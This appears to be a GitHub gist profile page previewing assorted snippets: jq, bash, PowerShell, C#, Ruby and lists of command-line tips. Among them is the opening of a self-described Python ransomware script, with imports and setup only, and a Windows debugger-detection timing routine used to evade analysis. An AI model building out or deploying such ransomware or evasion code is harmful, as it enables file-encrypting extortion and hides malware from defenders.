Skip to content

Instantly share code, notes, and snippets.

View peevees's full-sized avatar
🧑‍💻
💻📶🖥

Mike peevees

🧑‍💻
💻📶🖥
  • Assently
  • on the Throne in New Sheoth, Shivering Isles
  • 17:50 (UTC +02:00)
View GitHub Profile
@peevees
peevees / debugger-detection.cpp
Created October 23, 2023 12:45
Debugger detection timing examples
BOOL IsDebuggerPresentUsingTickCount()
{
DWORD tickReference = GetTickCount();
Sleep(1500); // you can replace this with a function
DWORD currentTick = GetTickCount();
DWORD elapsedTime = currentTick - tickReference;
if (elapsedTime > 2000)
return TRUE;
return FALSE;
}
@peevees
peevees / jq example to merge files and to replace some placeholders
Created February 6, 2023 08:15
JQ example of merging files and replacing with environment variables values
# Read base json file
if [ -f "base.json" ]; then
# Read the file into a variable
json_base=$(jq '.' base.json)
else
printf "Base json file does not exist and is required"
exit 1;
fi
# Read variable specific json file and merge it into base
On the server (laptop):
```
> $Listener = [System.Net.Sockets.TcpListener]52134;
> $Listener.Start();
> while($true)
> {
> $client = $Listener.AcceptTcpClient();
> Write-Host("Connected at " + $(Get-Date));
> $client.Close();
> }
@peevees
peevees / simple-ransomware.py
Created May 17, 2022 16:22
Simple python ransomware script, to encrypt files in the same directory
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# Find files
scriptname = "simple-ransomware.py"
keyName = "theykey.key"
files = []
@peevees
peevees / bash-playground.sh
Created May 6, 2022 20:54
just a little bash script playing around
#! /bin/bash
# special environment variables
# $RANDOM -> between 0 - 32747
# $SHELL
# $USER
# $PWD
# $HOSTNAME
# .bashrc can be edited to add environment variables on next login
# math symbols
@peevees
peevees / Program.cs
Created November 11, 2021 22:31
A quick example of reading RSS feeds in C#
using System;
using System.Linq;
using System.ServiceModel.Syndication;
using System.Xml;
namespace RssReader
{
class Program
{
static void Main(string[] args)
@peevees
peevees / linux-commands.md
Last active March 5, 2022 15:30
interesting linux commands
1. Redo last command but as root

sudo !!

2. Open an editor to run a command

ctrl+x+e

3. Create a super fast ram disk

mkdir -p /mnt/ram mount -t tmpfs tmpfs /mnt/ram -o size=8192M

4. Don't add command to history (note the leading space)

ls -l

5. Fix a really long command that you messed up
@peevees
peevees / windows commands.md
Last active March 5, 2022 15:22
Interesting windows commands

Commands to check what woke up device:

powercfg -lastwake powercfg -devicequery wake_armed powercfg -energy (creates a list in C:\Windows\system32\energy-report.html.) powercfg -requests

disable auto mounting volumes:

go into Diskpart using commmand:

diskpart

then:

require "securerandom"
require "httparty"
SecureRandom.uuid
HTTParty.post("URL_TO_POST_TO", basic_auth: { username: "API_KEY", password: "API_SECRET" }, body: { "Id" => SecureRandom::uuid, "AllowedSignatureTypes" => ["Touch"], "EmailAddress" => "EMAIL_ADDRESS" }.to_json, :headers => { 'Content-Type' => 'application/json' } )
### Keybase proof
I hereby claim:
* I am peevees on github.
* I am peevees (https://keybase.io/peevees) on keybase.
* I have a public key ASCEuYCidOT_CfxUH8vkvgovRnBURoux6_6pI2KOeiycpwo
To claim this, I am signing this object: